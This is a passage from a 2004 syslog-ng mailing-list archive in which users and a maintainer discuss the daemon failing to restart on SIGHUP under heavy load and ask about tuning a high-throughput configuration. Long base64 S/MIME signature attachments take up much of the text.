Fingerprint CD27 CFB0 802C 0944 9CFD 804E C82C 8EB1 _______________________________________________ syslog-ng maillist - syslog-ng@lists.balabit.hu https://lists.balabit.hu/mailman/listinfo/syslog-ng Frequently asked questions at http://www.campin.net/syslog-ng/faq.html ------=_NextPart_000_0044_01C43367.1C8B8450 Content-Type: application/x-pkcs7-signature; name="smime.p7s" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="smime.p7s" MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAQAAoIILjDCCA6Yw ggMPoAMCAQICEHWNgosXAgaqes2nmr0jsCgwDQYJKoZIhvcNAQEFBQAwgcExCzAJBgNVBAYTAlVT MRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjE8MDoGA1UECxMzQ2xhc3MgMiBQdWJsaWMgUHJpbWFy eSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSAtIEcyMTowOAYDVQQLEzEoYykgMTk5OCBWZXJpU2ln biwgSW5jLiAtIEZvciBhdXRob3JpemVkIHVzZSBvbmx5MR8wHQYDVQQLExZWZXJpU2lnbiBUcnVz dCBOZXR3b3JrMB4XDTk5MDIyNTAwMDAwMFoXDTA5MDIyNDIzNTk1OVowga0xFzAVBgNVBAoTDlZl cmlTaWduLCBJbmMuMR8wHQYDVQQLExZWZXJpU2lnbiBUcnVzdCBOZXR3b3JrMUkwRwYDVQQLE0BV c2UgaXMgc3ViamVjdCB0byB0ZXJtcyBhdCBodHRwczovL3d3dy52ZXJpc2lnbi5jb20vcnBhLWty IChjKTk5MSYwJAYDVQQDEx1WZXJpU2lnbiBDbGFzcyAyIFBlcnNvbm5lbCBDQTCBnzANBgkqhkiG 9w0BAQEFAAOBjQAwgYkCgYEApwRsD6Jyt0oGLvjXKSw0nYK8SJFKx6z56fy5WXixVcBTWLHPbxY7 wUnVy/RuzOHMy7XHLk6IqjTpttBbfD4VVzThGLz/3fWvZ1kgCuU96oiKQNKaiRMpqbbV26d+4ec3 JJP9lHRNeuQybUzoXBaXr92S2WaKFGbk6loDqD1f+wsCAwEAAaOBsDCBrTARBglghkgBhvhCAQEE BAMCAQYwDwYDVR0TBAgwBgEB/wIBATALBgNVHQ8EBAMCAQYwRAYDVR0gBD0wOzA5BgtghkgBhvhF AQcXAjAqMCgGCCsGAQUFBwIBFhxodHRwczovL3d3dy52ZXJpc2lnbi5jb20vcnBhMDQGA1UdHwQt MCswKaAnoCWGI2h0dHA6Ly9jcmwudmVyaXNpZ24uY29tL3BjYTItZzIuY3JsMA0GCSqGSIb3DQEB BQUAA4GBAFJetpXbb3ymfgX2VIU72RqKRVlffMJl7vlA3lRux5ASgCQ8QKNj7IUf9R4bico9juNL Lt+cG+6O51S5VpP+29HERPjLnECdkqzFzgTxEUbsiLyYyIwhfTeczGu9NKWTjL2cOR3qp5wazfVH bSxzE2NqIS5afYd9vEy+8scDwoy2MIIDwDCCAymgAwIBAgIQSsgAA2Nh1BUDFvGGNpu3zTANBgkq hkiG9w0BAQUFADCBrTEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xHzAdBgNVBAsTFlZlcmlTaWdu IFRydXN0IE5ldHdvcmsxSTBHBgNVBAsTQFVzZSBpcyBzdWJqZWN0IHRvIHRlcm1zIGF0IGh0dHBz Oi8vd3d3LnZlcmlzaWduLmNvbS9ycGEta3IgKGMpOTkxJjAkBgNVBAMTHVZlcmlTaWduIENsYXNz IDIgUGVyc29ubmVsIENBMB4XDTk5MDIyNTAwMDAwMFoXDTA5MDIyMzIzNTk1OVowgawxFzAVBgNV BAoTDlZlcmlTaWduLCBJbmMuMR8wHQYDVQQLExZWZXJpU2lnbiBUcnVzdCBOZXR3b3JrMUkwRwYD VQQLE0BVc2UgaXMgc3ViamVjdCB0byB0ZXJtcyBhdCBodHRwczovL3d3dy52ZXJpc2lnbi5jb20v cnBhLWtyIChjKTk5MSUwIwYDVQQDExxWZXJpU2lnbiBDbGFzcyAyIEVtcGxveWVlIENBMIGfMA0G CSqGSIb3DQEBAQUAA4GNADCBiQKBgQDAitGHYaLqMANVawg28Jf6GlQ1JB/ofZ3Iw3PT2Eb1kS3Z OO2U17Amcyrel1BN/yIcvXAAmAxYKrGkco+lufctfGDjtd/pfU4hIWHV/DtUyaQJnLsi+aK6cGFP hkai/QVk7Ao/plh2V7sWc0R88KUNl8BspvFjCCWxBBeVoI3+fwIDAQABo4HfMIHcMCkGA1UdEQQi MCCkHjAcMRowGAYDVQQDExFQcml2YXRlTGFiZWwxLTExODARBglghkgBhvhCAQEEBAMCAQYwDwYD VR0TBAgwBgEB/wIBADALBgNVHQ8EBAMCAQYwRAYDVR0gBD0wOzA5BgtghkgBhvhFAQcXAjAqMCgG CCsGAQUFBwIBFhxodHRwczovL3d3dy52ZXJpc2lnbi5jb20vcnBhMDgGA1UdHwQxMC8wLaAroCmG J2h0dHA6Ly9jcmwudmVyaXNpZ24uY29tL1ZTQ2xhc3MySW50LmNybDANBgkqhkiG9w0BAQUFAAOB gQA2GP0zYNYX0wS12FRfUhrlkggo9KJA2sNbjBqGl++uohX+bMTOL8gByjO+8nlYM5eXkkVwWk4o Hd33wYhOG4dXAj2TJdl+TnI1iUkXs7l3L20O+aSIJcHOdnNlaQWTd+f9k5YYOE1YbHqd6NKb6NDb if1JwnUEA5el1JaB2CNB8DCCBBowggODoAMCAQICEFtZcVU995N5gM3Ds47cm9MwDQYJKoZIhvcN AQEEBQAwgawxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMR8wHQYDVQQLExZWZXJpU2lnbiBUcnVz dCBOZXR3b3JrMUkwRwYDVQQLE0BVc2UgaXMgc3ViamVjdCB0byB0ZXJtcyBhdCBodHRwczovL3d3 dy52ZXJpc2lnbi5jb20vcnBhLWtyIChjKTk5MSUwIwYDVQQDExxWZXJpU2lnbiBDbGFzcyAyIEVt cGxveWVlIENBMB4XDTA0MDQxMzAwMDAwMFoXDTA1MDQxMzIzNTk1OVowbjERMA8GA1UEChMIVkVS SVNJR04xEDAOBgNVBAsTB1ZTLVBSTzExEzARBgNVBAMTClJlY2lwaWVudHMxMjAwBgNVBAMTKVBl dGVyLld5bmVyIChXeW5lciBQZXRlciwgVmVyaVNpZ24sIEluYy4pMIGfMA0GCSqGSIb3DQEBAQUA A4GNADCBiQKBgQDFJm21ZLXqQFYs3ifrl7pW3dZ9WgtWxflXFtVbXVaBrBE86eIo3or9tySTomO/ XL8bSvifck42mHZuhj22l2R534m+gDULaJJpbQJbXpw687d9OlYMIQiz+GysmwT1PyzLTsrxCbjo FG3d5uMVZRifzNi8W5GBrH0IPcvwijHNJQIDAQABo4IBeDCCAXQwCQYDVR0TBAIwADBZBgNVHR8E UjBQME6gTKBKhkhodHRwOi8vb25zaXRlY3JsLnZlcmlzaWduLmNvbS9WZXJpU2lnbkluY0V4Y2hh bmdlRW1wbG95ZWVzL0xhdGVzdENSTC5jcmwwCwYDVR0PBAQDAgWgMB4GA1UdEQQXMBWBE3B3eW5l ckB2ZXJpc2lnbi5jb20wgawGA1UdIASBpDCBoTCBngYLYIZIAYb4RQEHAQEwgY4wKAYIKwYBBQUH AgEWHGh0dHBzOi8vd3d3LnZlcmlzaWduLmNvbS9DUFMwYgYIKwYBBQUHAgIwVjAVFg5WZXJpU2ln biwgSW5jLjADAgEBGj1WZXJpU2lnbidzIENQUyBpbmNvcnAuIGJ5IHJlZmVyZW5jZSBsaWFiLiBs dGQuIChjKTk3IFZlcmlTaWduMBEGCWCGSAGG+EIBAQQEAwIHgDAdBgNVHSUEFjAUBggrBgEFBQcD BAYIKwYBBQUHAwIwDQYJKoZIhvcNAQEEBQADgYEAVSwmdi7y1LpNotPgBT8wH+RQWOCn2aQC0GAb mssVck0keqmawxw7nqZBW8hERRf/enD+T0kcb/ygzxo0vDAlblPzl16YusVrLDGKsMYUpJCeR8TE c7aXkFjYWPv0S5ukEiD/c03hXZk4C65OKcTMJxYrfrE94M3xLISxgVrk2WkxggL4MIIC9AIBATCB wTCBrDEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xHzAdBgNVBAsTFlZlcmlTaWduIFRydXN0IE5l dHdvcmsxSTBHBgNVBAsTQFVzZSBpcyBzdWJqZWN0IHRvIHRlcm1zIGF0IGh0dHBzOi8vd3d3LnZl cmlzaWduLmNvbS9ycGEta3IgKGMpOTkxJTAjBgNVBAMTHFZlcmlTaWduIENsYXNzIDIgRW1wbG95 ZWUgQ0ECEFtZcVU995N5gM3Ds47cm9MwCQYFKw4DAhoFAKCCAYwwGAYJKoZIhvcNAQkDMQsGCSqG SIb3DQEHATAcBgkqhkiG9w0BCQUxDxcNMDQwNTA2MTYzOTAyWjAjBgkqhkiG9w0BCQQxFgQUSok5 fT0xHxYu48g1SgzpWEXM4lQwWAYJKoZIhvcNAQkPMUswSTAKBggqhkiG9w0DBzAOBggqhkiG9w0D AgICAIAwBwYFKw4DAgcwDQYIKoZIhvcNAwICASgwBwYFKw4DAhowCgYIKoZIhvcNAgUwgdIGCSsG AQQBgjcQBDGBxDCBwTCBrDEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xHzAdBgNVBAsTFlZlcmlT aWduIFRydXN0IE5ldHdvcmsxSTBHBgNVBAsTQFVzZSBpcyBzdWJqZWN0IHRvIHRlcm1zIGF0IGh0 dHBzOi8vd3d3LnZlcmlzaWduLmNvbS9ycGEta3IgKGMpOTkxJTAjBgNVBAMTHFZlcmlTaWduIENs YXNzIDIgRW1wbG95ZWUgQ0ECEFtZcVU995N5gM3Ds47cm9MwDQYJKoZIhvcNAQEBBQAEgYBDSHyS ZqBec6Ln7E3Xxp3JK6kKsr0uS44lDq9yb0km9Je53pjXfoX6vNvWao8jkTbV5jxpjWKr++nG0Lso 3zZHaYGgud0gQskWH2Ws5bScMU7rNvZn71fMH0CSZAsufF0p7xBTbhHVds9GoioLpihtqq5y8WK6 HlMu7F8EJS+l2AAAAAAAAA== ------=_NextPart_000_0044_01C43367.1C8B8450-- From syslog-ng@lists.balabit.hu Thu May 6 17:59:14 2004 From: syslog-ng@lists.balabit.hu (Balazs Scheidler) Date: Thu, 06 May 2004 18:59:14 +0200 Subject: [syslog-ng]Problem with "kill -HUP" on syslog-ng In-Reply-To: <6A8CA21E339F634E96E13AB97D732275E9C855@pro1wnexc01.vcorp.ad.vrsn.com> References: <6A8CA21E339F634E96E13AB97D732275E9C855@pro1wnexc01.vcorp.ad.vrsn.com> Message-ID: <1083862754.11132.57.camel@bzorp.balabit> 2004-05-06, cs keltezéssel 18:39-kor Wyner, Peter ezt írta: > I have had similar issues HUPing 1.6.2 under Solaris 2.8. My resolution > is to kill have the script kill -9 the process and start a new one > instead of HUPing. The behavior is not consistant - sometimes it will > honor the SIGHUP and sometimes it won't. can you be more specific? it simply does nothing, it crashes or? syslog-ng should send this message to the system log when it receives a system log: notice("SIGHUP received, restarting syslog-ng\n") do you receive this message when it does not correctly restart? can you attach truss to the running syslog-ng process when you send a HUP signal to it? -- Bazsi PGP info: KeyID 9AF8D0A9 Fingerprint CD27 CFB0 802C 0944 9CFD 804E C82C 8EB1 From syslog-ng@lists.balabit.hu Thu May 6 18:04:43 2004 From: syslog-ng@lists.balabit.hu (Wyner, Peter) Date: Thu, 6 May 2004 13:04:43 -0400 Subject: [syslog-ng]Problem with "kill -HUP" on syslog-ng Message-ID: <6A8CA21E339F634E96E13AB97D732275E9C85A@pro1wnexc01.vcorp.ad.vrsn.com> This is a multi-part message in MIME format. ------=_NextPart_000_007C_01C4336A.B2610830 Content-Type: text/plain; charset="iso-8859-2" Content-Transfer-Encoding: quoted-printable I'm receiving thousands of syslogs per second, so the truss is not that useful - it's too difficule to isolate the interval. When failed HUP issue occurrs, no log entry is written to syslog, and the daemon continues running normally. When a successful HUP occurs, the appropriate message appears in syslog. I did not have this issue when I was testing, only when I put the server under extreme load, so that be a prerequisite for the issue to occur. Peter -----Original Message----- From: syslog-ng-admin@lists.balabit.hu [mailto:syslog-ng-admin@lists.balabit.hu]On Behalf Of Balazs Scheidler Sent: Thursday, May 06, 2004 12:59 PM To: syslog-ng@lists.balabit.hu Subject: RE: [syslog-ng]Problem with "kill -HUP" on syslog-ng 2004-05-06, cs keltez=E9ssel 18:39-kor Wyner, Peter ezt =EDrta: > I have had similar issues HUPing 1.6.2 under Solaris 2.8. My resolution > is to kill have the script kill -9 the process and start a new one > instead of HUPing. The behavior is not consistant - sometimes it will > honor the SIGHUP and sometimes it won't. can you be more specific? it simply does nothing, it crashes or? syslog-ng should send this message to the system log when it receives a system log: notice("SIGHUP received, restarting syslog-ng\n") do you receive this message when it does not correctly restart? can you attach truss to the running syslog-ng process when you send a HUP signal to it? --=20 Bazsi PGP info: KeyID 9AF8D0A9 Fingerprint CD27 CFB0 802C 0944 9CFD 804E C82C 8EB1 _______________________________________________ syslog-ng maillist - syslog-ng@lists.balabit.hu https://lists.balabit.hu/mailman/listinfo/syslog-ng Frequently asked questions at http://www.campin.net/syslog-ng/faq.html ------=_NextPart_000_007C_01C4336A.B2610830 Content-Type: application/x-pkcs7-signature; name="smime.p7s" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="smime.p7s" MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAQAAoIILjDCCA6Yw ggMPoAMCAQICEHWNgosXAgaqes2nmr0jsCgwDQYJKoZIhvcNAQEFBQAwgcExCzAJBgNVBAYTAlVT MRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjE8MDoGA1UECxMzQ2xhc3MgMiBQdWJsaWMgUHJpbWFy eSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSAtIEcyMTowOAYDVQQLEzEoYykgMTk5OCBWZXJpU2ln biwgSW5jLiAtIEZvciBhdXRob3JpemVkIHVzZSBvbmx5MR8wHQYDVQQLExZWZXJpU2lnbiBUcnVz dCBOZXR3b3JrMB4XDTk5MDIyNTAwMDAwMFoXDTA5MDIyNDIzNTk1OVowga0xFzAVBgNVBAoTDlZl cmlTaWduLCBJbmMuMR8wHQYDVQQLExZWZXJpU2lnbiBUcnVzdCBOZXR3b3JrMUkwRwYDVQQLE0BV c2UgaXMgc3ViamVjdCB0byB0ZXJtcyBhdCBodHRwczovL3d3dy52ZXJpc2lnbi5jb20vcnBhLWty IChjKTk5MSYwJAYDVQQDEx1WZXJpU2lnbiBDbGFzcyAyIFBlcnNvbm5lbCBDQTCBnzANBgkqhkiG 9w0BAQEFAAOBjQAwgYkCgYEApwRsD6Jyt0oGLvjXKSw0nYK8SJFKx6z56fy5WXixVcBTWLHPbxY7 wUnVy/RuzOHMy7XHLk6IqjTpttBbfD4VVzThGLz/3fWvZ1kgCuU96oiKQNKaiRMpqbbV26d+4ec3 JJP9lHRNeuQybUzoXBaXr92S2WaKFGbk6loDqD1f+wsCAwEAAaOBsDCBrTARBglghkgBhvhCAQEE BAMCAQYwDwYDVR0TBAgwBgEB/wIBATALBgNVHQ8EBAMCAQYwRAYDVR0gBD0wOzA5BgtghkgBhvhF AQcXAjAqMCgGCCsGAQUFBwIBFhxodHRwczovL3d3dy52ZXJpc2lnbi5jb20vcnBhMDQGA1UdHwQt MCswKaAnoCWGI2h0dHA6Ly9jcmwudmVyaXNpZ24uY29tL3BjYTItZzIuY3JsMA0GCSqGSIb3DQEB BQUAA4GBAFJetpXbb3ymfgX2VIU72RqKRVlffMJl7vlA3lRux5ASgCQ8QKNj7IUf9R4bico9juNL Lt+cG+6O51S5VpP+29HERPjLnECdkqzFzgTxEUbsiLyYyIwhfTeczGu9NKWTjL2cOR3qp5wazfVH bSxzE2NqIS5afYd9vEy+8scDwoy2MIIDwDCCAymgAwIBAgIQSsgAA2Nh1BUDFvGGNpu3zTANBgkq hkiG9w0BAQUFADCBrTEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xHzAdBgNVBAsTFlZlcmlTaWdu IFRydXN0IE5ldHdvcmsxSTBHBgNVBAsTQFVzZSBpcyBzdWJqZWN0IHRvIHRlcm1zIGF0IGh0dHBz Oi8vd3d3LnZlcmlzaWduLmNvbS9ycGEta3IgKGMpOTkxJjAkBgNVBAMTHVZlcmlTaWduIENsYXNz IDIgUGVyc29ubmVsIENBMB4XDTk5MDIyNTAwMDAwMFoXDTA5MDIyMzIzNTk1OVowgawxFzAVBgNV BAoTDlZlcmlTaWduLCBJbmMuMR8wHQYDVQQLExZWZXJpU2lnbiBUcnVzdCBOZXR3b3JrMUkwRwYD VQQLE0BVc2UgaXMgc3ViamVjdCB0byB0ZXJtcyBhdCBodHRwczovL3d3dy52ZXJpc2lnbi5jb20v cnBhLWtyIChjKTk5MSUwIwYDVQQDExxWZXJpU2lnbiBDbGFzcyAyIEVtcGxveWVlIENBMIGfMA0G CSqGSIb3DQEBAQUAA4GNADCBiQKBgQDAitGHYaLqMANVawg28Jf6GlQ1JB/ofZ3Iw3PT2Eb1kS3Z OO2U17Amcyrel1BN/yIcvXAAmAxYKrGkco+lufctfGDjtd/pfU4hIWHV/DtUyaQJnLsi+aK6cGFP hkai/QVk7Ao/plh2V7sWc0R88KUNl8BspvFjCCWxBBeVoI3+fwIDAQABo4HfMIHcMCkGA1UdEQQi MCCkHjAcMRowGAYDVQQDExFQcml2YXRlTGFiZWwxLTExODARBglghkgBhvhCAQEEBAMCAQYwDwYD VR0TBAgwBgEB/wIBADALBgNVHQ8EBAMCAQYwRAYDVR0gBD0wOzA5BgtghkgBhvhFAQcXAjAqMCgG CCsGAQUFBwIBFhxodHRwczovL3d3dy52ZXJpc2lnbi5jb20vcnBhMDgGA1UdHwQxMC8wLaAroCmG J2h0dHA6Ly9jcmwudmVyaXNpZ24uY29tL1ZTQ2xhc3MySW50LmNybDANBgkqhkiG9w0BAQUFAAOB gQA2GP0zYNYX0wS12FRfUhrlkggo9KJA2sNbjBqGl++uohX+bMTOL8gByjO+8nlYM5eXkkVwWk4o Hd33wYhOG4dXAj2TJdl+TnI1iUkXs7l3L20O+aSIJcHOdnNlaQWTd+f9k5YYOE1YbHqd6NKb6NDb if1JwnUEA5el1JaB2CNB8DCCBBowggODoAMCAQICEFtZcVU995N5gM3Ds47cm9MwDQYJKoZIhvcN AQEEBQAwgawxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMR8wHQYDVQQLExZWZXJpU2lnbiBUcnVz dCBOZXR3b3JrMUkwRwYDVQQLE0BVc2UgaXMgc3ViamVjdCB0byB0ZXJtcyBhdCBodHRwczovL3d3 dy52ZXJpc2lnbi5jb20vcnBhLWtyIChjKTk5MSUwIwYDVQQDExxWZXJpU2lnbiBDbGFzcyAyIEVt cGxveWVlIENBMB4XDTA0MDQxMzAwMDAwMFoXDTA1MDQxMzIzNTk1OVowbjERMA8GA1UEChMIVkVS SVNJR04xEDAOBgNVBAsTB1ZTLVBSTzExEzARBgNVBAMTClJlY2lwaWVudHMxMjAwBgNVBAMTKVBl dGVyLld5bmVyIChXeW5lciBQZXRlciwgVmVyaVNpZ24sIEluYy4pMIGfMA0GCSqGSIb3DQEBAQUA A4GNADCBiQKBgQDFJm21ZLXqQFYs3ifrl7pW3dZ9WgtWxflXFtVbXVaBrBE86eIo3or9tySTomO/ XL8bSvifck42mHZuhj22l2R534m+gDULaJJpbQJbXpw687d9OlYMIQiz+GysmwT1PyzLTsrxCbjo FG3d5uMVZRifzNi8W5GBrH0IPcvwijHNJQIDAQABo4IBeDCCAXQwCQYDVR0TBAIwADBZBgNVHR8E UjBQME6gTKBKhkhodHRwOi8vb25zaXRlY3JsLnZlcmlzaWduLmNvbS9WZXJpU2lnbkluY0V4Y2hh bmdlRW1wbG95ZWVzL0xhdGVzdENSTC5jcmwwCwYDVR0PBAQDAgWgMB4GA1UdEQQXMBWBE3B3eW5l ckB2ZXJpc2lnbi5jb20wgawGA1UdIASBpDCBoTCBngYLYIZIAYb4RQEHAQEwgY4wKAYIKwYBBQUH AgEWHGh0dHBzOi8vd3d3LnZlcmlzaWduLmNvbS9DUFMwYgYIKwYBBQUHAgIwVjAVFg5WZXJpU2ln biwgSW5jLjADAgEBGj1WZXJpU2lnbidzIENQUyBpbmNvcnAuIGJ5IHJlZmVyZW5jZSBsaWFiLiBs dGQuIChjKTk3IFZlcmlTaWduMBEGCWCGSAGG+EIBAQQEAwIHgDAdBgNVHSUEFjAUBggrBgEFBQcD BAYIKwYBBQUHAwIwDQYJKoZIhvcNAQEEBQADgYEAVSwmdi7y1LpNotPgBT8wH+RQWOCn2aQC0GAb mssVck0keqmawxw7nqZBW8hERRf/enD+T0kcb/ygzxo0vDAlblPzl16YusVrLDGKsMYUpJCeR8TE c7aXkFjYWPv0S5ukEiD/c03hXZk4C65OKcTMJxYrfrE94M3xLISxgVrk2WkxggL4MIIC9AIBATCB wTCBrDEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xHzAdBgNVBAsTFlZlcmlTaWduIFRydXN0IE5l dHdvcmsxSTBHBgNVBAsTQFVzZSBpcyBzdWJqZWN0IHRvIHRlcm1zIGF0IGh0dHBzOi8vd3d3LnZl cmlzaWduLmNvbS9ycGEta3IgKGMpOTkxJTAjBgNVBAMTHFZlcmlTaWduIENsYXNzIDIgRW1wbG95 ZWUgQ0ECEFtZcVU995N5gM3Ds47cm9MwCQYFKw4DAhoFAKCCAYwwGAYJKoZIhvcNAQkDMQsGCSqG SIb3DQEHATAcBgkqhkiG9w0BCQUxDxcNMDQwNTA2MTcwNDQyWjAjBgkqhkiG9w0BCQQxFgQUHV2v rNJkz/ayx8+1ewZthATeeCowWAYJKoZIhvcNAQkPMUswSTAKBggqhkiG9w0DBzAOBggqhkiG9w0D AgICAIAwBwYFKw4DAgcwDQYIKoZIhvcNAwICASgwBwYFKw4DAhowCgYIKoZIhvcNAgUwgdIGCSsG AQQBgjcQBDGBxDCBwTCBrDEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xHzAdBgNVBAsTFlZlcmlT aWduIFRydXN0IE5ldHdvcmsxSTBHBgNVBAsTQFVzZSBpcyBzdWJqZWN0IHRvIHRlcm1zIGF0IGh0 dHBzOi8vd3d3LnZlcmlzaWduLmNvbS9ycGEta3IgKGMpOTkxJTAjBgNVBAMTHFZlcmlTaWduIENs YXNzIDIgRW1wbG95ZWUgQ0ECEFtZcVU995N5gM3Ds47cm9MwDQYJKoZIhvcNAQEBBQAEgYBQzWwK PMPObMEPd/x8wWwn0cDJCwKwrAmy+gv/u3QqwQgf1lPtDns90pOW9EMiVVNQLFF0JnxgGbztaiIj Iu2Mb6a9aAJF3Zvn1rE6GEGaOYUc9nQesTZX8u/r290QEMjxzBN47/JbpqIomwVwKxJi2ZTUO1ZX +MrwV7uJ0qRBkQAAAAAAAA== ------=_NextPart_000_007C_01C4336A.B2610830-- From syslog-ng@lists.balabit.hu Thu May 6 18:12:19 2004 From: syslog-ng@lists.balabit.hu (Wyner, Peter) Date: Thu, 6 May 2004 13:12:19 -0400 Subject: [syslog-ng]Tuning for high-throughput Message-ID: <6A8CA21E339F634E96E13AB97D732275E9C85B@pro1wnexc01.vcorp.ad.vrsn.com> This is a multi-part message in MIME format. ------=_NextPart_000_0093_01C4336B.C1F96200 Content-Type: text/plain; charset="iso-8859-2" Content-Transfer-Encoding: 7bit On another topic..... Anyone have any guidance on optimizing syslog-ng for high-volume systems? For example, what is a good range for sync(), and are there any other options that may assist in lowering CPU? We are not using any variables in the directory of filenames other than $HOST. Here's the current conf: options { log_fifo_size(1024); dns_cache(yes); use_dns(yes); chain_hostnames(no); keep_hostname(no); create_dirs(yes);}; source local { sun-streams("/dev/log"); internal(); }; source std_udp { udp( port(52001) ); }; destination all { file("/var/log/messages"); }; destination std { file("/syslog/std/current/$HOST" dir_perm(0755) perm(0644)); }; log { source(local); destination(all); }; log { source(std_udp); destination(std); }; TIA, Peter ------=_NextPart_000_0093_01C4336B.C1F96200 Content-Type: application/x-pkcs7-signature; name="smime.p7s" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="smime.p7s" MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAQAAoIILjDCCA6Yw ggMPoAMCAQICEHWNgosXAgaqes2nmr0jsCgwDQYJKoZIhvcNAQEFBQAwgcExCzAJBgNVBAYTAlVT MRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjE8MDoGA1UECxMzQ2xhc3MgMiBQdWJsaWMgUHJpbWFy eSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSAtIEcyMTowOAYDVQQLEzEoYykgMTk5OCBWZXJpU2ln biwgSW5jLiAtIEZvciBhdXRob3JpemVkIHVzZSBvbmx5MR8wHQYDVQQLExZWZXJpU2lnbiBUcnVz dCBOZXR3b3JrMB4XDTk5MDIyNTAwMDAwMFoXDTA5MDIyNDIzNTk1OVowga0xFzAVBgNVBAoTDlZl cmlTaWduLCBJbmMuMR8wHQYDVQQLExZWZXJpU2lnbiBUcnVzdCBOZXR3b3JrMUkwRwYDVQQLE0BV c2UgaXMgc3ViamVjdCB0byB0ZXJtcyBhdCBodHRwczovL3d3dy52ZXJpc2lnbi5jb20vcnBhLWty IChjKTk5MSYwJAYDVQQDEx1WZXJpU2lnbiBDbGFzcyAyIFBlcnNvbm5lbCBDQTCBnzANBgkqhkiG 9w0BAQEFAAOBjQAwgYkCgYEApwRsD6Jyt0oGLvjXKSw0nYK8SJFKx6z56fy5WXixVcBTWLHPbxY7 wUnVy/RuzOHMy7XHLk6IqjTpttBbfD4VVzThGLz/3fWvZ1kgCuU96oiKQNKaiRMpqbbV26d+4ec3 JJP9lHRNeuQybUzoXBaXr92S2WaKFGbk6loDqD1f+wsCAwEAAaOBsDCBrTARBglghkgBhvhCAQEE BAMCAQYwDwYDVR0TBAgwBgEB/wIBATALBgNVHQ8EBAMCAQYwRAYDVR0gBD0wOzA5BgtghkgBhvhF AQcXAjAqMCgGCCsGAQUFBwIBFhxodHRwczovL3d3dy52ZXJpc2lnbi5jb20vcnBhMDQGA1UdHwQt MCswKaAnoCWGI2h0dHA6Ly9jcmwudmVyaXNpZ24uY29tL3BjYTItZzIuY3JsMA0GCSqGSIb3DQEB BQUAA4GBAFJetpXbb3ymfgX2VIU72RqKRVlffMJl7vlA3lRux5ASgCQ8QKNj7IUf9R4bico9juNL Lt+cG+6O51S5VpP+29HERPjLnECdkqzFzgTxEUbsiLyYyIwhfTeczGu9NKWTjL2cOR3qp5wazfVH bSxzE2NqIS5afYd9vEy+8scDwoy2MIIDwDCCAymgAwIBAgIQSsgAA2Nh1BUDFvGGNpu3zTANBgkq hkiG9w0BAQUFADCBrTEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xHzAdBgNVBAsTFlZlcmlTaWdu IFRydXN0IE5ldHdvcmsxSTBHBgNVBAsTQFVzZSBpcyBzdWJqZWN0IHRvIHRlcm1zIGF0IGh0dHBz Oi8vd3d3LnZlcmlzaWduLmNvbS9ycGEta3IgKGMpOTkxJjAkBgNVBAMTHVZlcmlTaWduIENsYXNz IDIgUGVyc29ubmVsIENBMB4XDTk5MDIyNTAwMDAwMFoXDTA5MDIyMzIzNTk1OVowgawxFzAVBgNV BAoTDlZlcmlTaWduLCBJbmMuMR8wHQYDVQQLExZWZXJpU2lnbiBUcnVzdCBOZXR3b3JrMUkwRwYD VQQLE0BVc2UgaXMgc3ViamVjdCB0byB0ZXJtcyBhdCBodHRwczovL3d3dy52ZXJpc2lnbi5jb20v cnBhLWtyIChjKTk5MSUwIwYDVQQDExxWZXJpU2lnbiBDbGFzcyAyIEVtcGxveWVlIENBMIGfMA0G CSqGSIb3DQEBAQUAA4GNADCBiQKBgQDAitGHYaLqMANVawg28Jf6GlQ1JB/ofZ3Iw3PT2Eb1kS3Z OO2U17Amcyrel1BN/yIcvXAAmAxYKrGkco+lufctfGDjtd/pfU4hIWHV/DtUyaQJnLsi+aK6cGFP hkai/QVk7Ao/plh2V7sWc0R88KUNl8BspvFjCCWxBBeVoI3+fwIDAQABo4HfMIHcMCkGA1UdEQQi MCCkHjAcMRowGAYDVQQDExFQcml2YXRlTGFiZWwxLTExODARBglghkgBhvhCAQEEBAMCAQYwDwYD VR0TBAgwBgEB/wIBADALBgNVHQ8EBAMCAQYwRAYDVR0gBD0wOzA5BgtghkgBhvhFAQcXAjAqMCgG CCsGAQUFBwIBFhxodHRwczovL3d3dy52ZXJpc2lnbi5jb20vcnBhMDgGA1UdHwQxMC8wLaAroCmG J2h0dHA6Ly9jcmwudmVyaXNpZ24uY29tL1ZTQ2xhc3MySW50LmNybDANBgkqhkiG9w0BAQUFAAOB gQA2GP0zYNYX0wS12FRfUhrlkggo9KJA2sNbjBqGl++uohX+bMTOL8gByjO+8nlYM5eXkkVwWk4o Hd33wYhOG4dXAj2TJdl+TnI1iUkXs7l3L20O+aSIJcHOdnNlaQWTd+f9k5YYOE1YbHqd6NKb6NDb if1JwnUEA5el1JaB2CNB8DCCBBowggODoAMCAQICEFtZcVU995N5gM3Ds47cm9MwDQYJKoZIhvcN AQEEBQAwgawxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMR8wHQYDVQQLExZWZXJpU2lnbiBUcnVz dCBOZXR3b3JrMUkwRwYDVQQLE0BVc2UgaXMgc3ViamVjdCB0byB0ZXJtcyBhdCBodHRwczovL3d3 dy52ZXJpc2lnbi5jb20vcnBhLWtyIChjKTk5MSUwIwYDVQQDExxWZXJpU2lnbiBDbGFzcyAyIEVt cGxveWVlIENBMB4XDTA0MDQxMzAwMDAwMFoXDTA1MDQxMzIzNTk1OVowbjERMA8GA1UEChMIVkVS 